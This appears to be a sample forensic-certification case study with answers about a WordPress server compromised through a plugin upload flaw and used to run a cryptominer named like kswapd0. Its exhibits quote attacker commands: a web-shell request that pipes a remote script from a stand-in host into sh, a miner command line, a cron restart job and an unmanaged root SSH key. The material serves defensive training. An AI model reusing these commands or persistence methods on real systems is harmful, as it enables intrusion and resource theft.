Ridgeline Certification

RCEF ยท Sample case study

Ridgeline Certified Endpoint Forensic Specialist

One complete case study, written the way the RCEF exam writes them, with the answers and the reasoning behind each option.

About this sample

A practice case written for this page. It is not in the exam and is not scored.

In the exam, each case study opens with a brief about the organization and your role, then gives you exhibits: command lines, process records, files and logs. The questions ask what they show and what you would conclude. The values in the exhibits below agree with one another, as they do in the exam's cases. This sample has 3 questions; exam cases have six.

Work each question from the exhibits before opening the answer. The explanation covers every option, because knowing why a plausible option is wrong is most of what the exam measures.

The busy kernel thread

This is a sample case, published with its answers. Exam cases are longer and set in one multinational group's estate; the format, the exhibits and the reasoning are the same.

Overview

The company runs its public website on a Linux web server with WordPress. You are a forensic analyst in its incident response team.

Environment

Ubuntu 24.04, nginx and PHP-FPM. Root's SSH keys are managed by configuration management, which runs nightly at 22:00. Logs stay on the server for 30 days.

All times are UTC.

What has happened so far

Monitoring alerted at 03:20 on 20 May for CPU above 95 percent. The on-call engineer collected Exhibits 1 to 3 at 07:30 and left the server running.

Requirements and constraints

R1. The website is the company's main sales channel and should be back today.

R2. The on-call team wants to clean the server rather than rebuild it.

Exhibits

Exhibit 1. Processes by CPU
userPIDCPU %command
www-data22110.4php-fpm: pool www
www-data22120.3php-fpm: pool www
root8800.0/usr/sbin/sshd -D
www-data31877389.6/var/tmp/.font-unix/kswapd0 -o pool.minexmr.example:443 -u 4AbC...x9 --donate-level 1 -B
root11020.1/usr/bin/node_exporter
root12900.0/usr/sbin/cron -f
Exhibit 2. Scheduled jobs, root's SSH keys and a hidden folder
crontab -l -u www-data
*/10 * * * * pgrep -f kswapd0 >/dev/null || (cd /var/tmp/.font-unix && ./kswapd0 -c c.json -B)

/etc/cron.d/
php           09,39 * * * * root [ -x /usr/lib/php/sessionclean ] && /usr/lib/php/sessionclean
certbot       0 */12 * * * root test -x /usr/bin/certbot -a \! -d /run/systemd/system && perl -e 'sleep int(rand(43200))' && certbot -q renew

/root/.ssh/authorized_keys   (modified 2027-05-20 03:12 UTC; config management last applied 2027-05-19 22:00 UTC)
# managed by config management, do not edit
ssh-ed25519 AAAAC3...Kp2 ops-bastion@example
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQ...Vq9

/var/tmp/.font-unix/   kswapd0 (ELF, 5.6 MB, written 2027-05-20 03:05 by www-data), c.json, x.sh (3 KB)
Exhibit 3. Web and SSH logs
Web access log, 20 May (UTC)
03:04:41  203.0.113.55  POST /wp-admin/admin-ajax.php?action=upload_resume   200   (plugin with a known file upload flaw)
03:04:44  203.0.113.55  GET  /wp-content/uploads/resumes/r.php?c=id   200
03:05:02  203.0.113.55  GET  /wp-content/uploads/resumes/r.php?c=curl+-s+http://198.51.100.12/x.sh|sh   200
sshd (auth.log), 20 May
03:14:20  Accepted publickey for root from 203.0.113.55 (RSA key)
03:14:58  session closed for user root
Monitoring: CPU above 95 percent since 03:06.  Log retention on the server: 30 days.

Questions

Question 1

What is using the CPU, and what keeps it running?

  1. AThe kernel's own memory swapper, kswapd0, which uses CPU when the server runs short of memory; certbot's cron job restarts it every twelve hours.
  2. BPHP-FPM serving a busy website, since the two pool processes belong to www-data, the same account as the process at the top of the CPU column.
  3. CA cryptocurrency miner named like a kernel thread, run by www-data from a hidden folder in /var/tmp; www-data's crontab restarts it every ten minutes.
  4. Dnode_exporter, the monitoring agent, which spikes the CPU when it collects metrics, and cron runs it every ten minutes through the php job.
Show the answer

The answer is C.

  • A. The kernel thread has no file path and no arguments; this one has both.
  • B. The PHP workers are at under half a percent; the miner is at 389 percent.
  • C. real kswapd0 is a kernel thread with no path or arguments; this one runs from /var/tmp/.font-unix with mining pool arguments, and www-data's crontab restarts it if it stops.
  • D. node_exporter is at 0.1 percent; the php cron job runs the session cleaner.

Question 2

The team plans to kill the process, delete the folder and remove the crontab line. What does that leave behind?

  1. AA kernel module, since miners that use a kernel thread's name always install a rootkit to hide themselves from process lists.
  2. BRoot access: an RSA key was added to root's authorized_keys after the last managed run, and the attacker signed in with it at 03:14.
  3. CNothing: the miner, its folder and the job that restarts it are the whole intrusion, and the web shell cannot run without the miner.
  4. DThe certbot job, which the attacker changed to download the miner again, as its random sleep shows that it is not the packaged version.
Show the answer

The answer is B.

  • A. Nothing in the evidence shows a module; the miner was visible in the process list.
  • B. the managed key has a comment and was there at 22:00; the RSA key appeared at 03:12, and sshd shows a root sign-in with an RSA key from the attacker's address two minutes later.
  • C. The key gives root access whatever happens to the miner, and the web shell is separate.
  • D. certbot's cron file is the packaged one, random sleep included.

Question 3

What can the report say about the attacker beyond the miner?

  1. AThat they only wanted to mine, since cryptocurrency miners are opportunistic, and attackers who install them never do anything else.
  2. BThat the attack began on 20 May at 03:04 and that nothing older needs to be checked, because the monitoring alert came within two minutes.
  3. CThat nothing else happened, because the SSH session lasted only 38 seconds, which is too short for anything but checking the key worked.
  4. DThat they had a shell from 03:04 and root by SSH from 03:14, so the server is fully compromised; the miner is one use of that access.
Show the answer

The answer is D.

  • A. Motive is a guess; the access is a fact.
  • B. The upload flaw may have been used before; the 30 days of logs are where to look first.
  • C. Thirty-eight seconds is enough to run commands, copy data or plant more.
  • D. the web shell ran arbitrary commands and the key gave root. The report states what the evidence shows and what access the attacker had, and calls for a rebuild rather than a clean-up.

Next steps

The study guide lists every skill the Ridgeline Certified Endpoint Forensic Specialist exam measures and how to prepare for it. The certification page covers the voucher and what the certification is worth.